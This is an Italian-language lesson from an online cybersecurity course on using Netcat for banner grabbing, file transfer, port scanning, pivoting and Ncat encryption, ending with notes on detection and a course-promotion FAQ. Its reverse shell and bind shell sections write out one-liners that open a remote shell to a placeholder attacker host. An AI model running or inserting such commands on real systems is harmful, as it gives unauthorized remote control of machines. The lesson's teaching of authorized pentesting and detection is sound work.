Netcat: il coltellino svizzero
Utilizzate nc per banner grabbing, trasferimento di file, port forwarding e semplici reverse shell.
Netcat: il coltellino svizzero è una lezione Cyber Security Academy gratuita su CoddyKit. Questa è la lezione 3 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento Cyber Security Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso Cyber Security Academy include 4 lezioni in totale.
Che cos'è Netcat?
Netcat (nc) è un'utilità che legge e scrive dati attraverso connessioni di rete TCP o UDP. È installata su quasi tutti i sistemi Unix ed è preziosa per il debugging, il trasferimento di file e le attività di exploit di base.
Connessione di base e banner grabbing
Si connetta a qualsiasi porta TCP per acquisire il banner del servizio e interagire manualmente con il protocollo. È la forma più semplice di ricognizione.
# Connect to port 80
nc 192.168.1.100 80
GET / HTTP/1.0
[Enter twice]
# Connect to SMTP
nc mail.example.com 25
# Returns: 220 mail.example.com ESMTPAscolto su una porta
Netcat può ascoltare le connessioni in ingresso con -l -p. È utile per testare la connettività, intercettare reverse shell e ricevere file.
# Listen on port 4444
nc -lvnp 4444
# -l listen
# -v verbose
# -n no DNS resolution
# -p port numberTrasferimento di file con Netcat
Netcat può inviare file reindirizzandoli verso una connessione. Il destinatario resta in ascolto e reindirizza l'output verso un file. Non è prevista alcuna crittografia: lo utilizzi solo su reti affidabili.
# Receiver (runs first):
nc -lvnp 4444 > received_file.txt
# Sender:
nc 192.168.1.10 4444 < file_to_send.txtScansione delle porte con Netcat
Netcat può eseguire scansioni di base delle porte con -z (modalità senza I/O) e -w (timeout). È più lento di Nmap, ma utile quando Nmap non è disponibile.
# Scan ports 20-80
nc -zv 192.168.1.100 20-80 2>&1 | grep succeeded
# With timeout:
nc -zvw2 192.168.1.100 22 80 443Reverse shell semplice
Una reverse shell fa sì che l'obiettivo si connetta nuovamente all'attaccante. È utile nei penetration test quando le regole del firewall bloccano le connessioni in ingresso verso l'obiettivo.
# Attacker listens:
nc -lvnp 4444
# Target executes (bash):
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
# Or via nc:
nc attacker_ip 4444 -e /bin/bashBind shell
Una bind shell resta in ascolto sul computer obiettivo. L'attaccante vi si connette. È meno comune nei pentest moderni, poiché i firewall generalmente bloccano le connessioni in ingresso.
# On target: listen and serve a shell
nc -lvnp 5555 -e /bin/bash
# On attacker: connect
nc target_ip 5555Modalità UDP
Utilizzi -u per le connessioni UDP. È utile per testare servizi UDP come DNS (porta 53) e SNMP (porta 161).
# Test DNS over UDP
nc -u 8.8.8.8 53
# Test SNMP
nc -u 192.168.1.1 161Proxying con Netcat
Netcat può concatenare le connessioni per effettuare il pivot attraverso le reti. In combinazione con named pipe (mkfifo), crea semplici tunnel bidirezionali senza strumenti aggiuntivi.
mkfifo /tmp/pipe
nc -lvnp 4445 < /tmp/pipe | nc internal_host 80 > /tmp/pipeNcat: l'alternativa moderna
Ncat, incluso in Nmap, estende Netcat con il supporto SSL (--ssl), il controllo degli accessi e la modalità broker. Preferisca Ncat per i canali crittografati.
# SSL listener
ncat --ssl -lvnp 4444
# SSL connect
ncat --ssl target_ip 4444Difensori: rilevare Netcat
Le connessioni Netcat sembrano normali connessioni TCP. I difensori possono rilevarle monitorando il nome del processo (HIDS), individuando porte in uscita insolite e rilevando shell avviate da processi padre imprevisti.
Verifica rapida
Quale flag di Netcat abilita la modalità di ascolto?
Riepilogo: Netcat
Netcat è uno strumento fondamentale: lo utilizzi per il banner grabbing, il trasferimento di file, i test di connettività e la comprensione dei meccanismi delle reverse shell e delle bind shell. Nei pentest autorizzati convalida le regole del firewall e simula il pivoting dell'attaccante. Lo conosca bene, sia per utilizzarlo sia per rilevarlo.
Domande Frequenti
La lezione «Netcat: il coltellino svizzero» è gratuita?
Sì — il testo completo di «Netcat: il coltellino svizzero» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso Cyber Security Academy, passa a CoddyKit PRO. Il corso Cyber Security Academy include 4 lezioni in totale.
Cosa imparerò in «Netcat: il coltellino svizzero»?
Utilizzate nc per banner grabbing, trasferimento di file, port forwarding e semplici reverse shell. Eserciti Cyber Security Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.
Ho bisogno di esperienza per iniziare Cyber Security Academy?
Non è richiesta alcuna esperienza precedente. Cyber Security Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 3 di 4.
Quanto tempo richiede la lezione «Netcat: il coltellino svizzero»?
La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.
Posso scrivere ed eseguire codice in questa lezione Cyber Security Academy?
Sì. Ogni lezione Cyber Security Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.
Tutte le lezioni di questo corso
- Tecniche di scansione delle porte con Nmap
- Fingerprinting dei servizi e dei sistemi operativi
- Netcat: il coltellino svizzero
- Scripting per l'enumerazione delle reti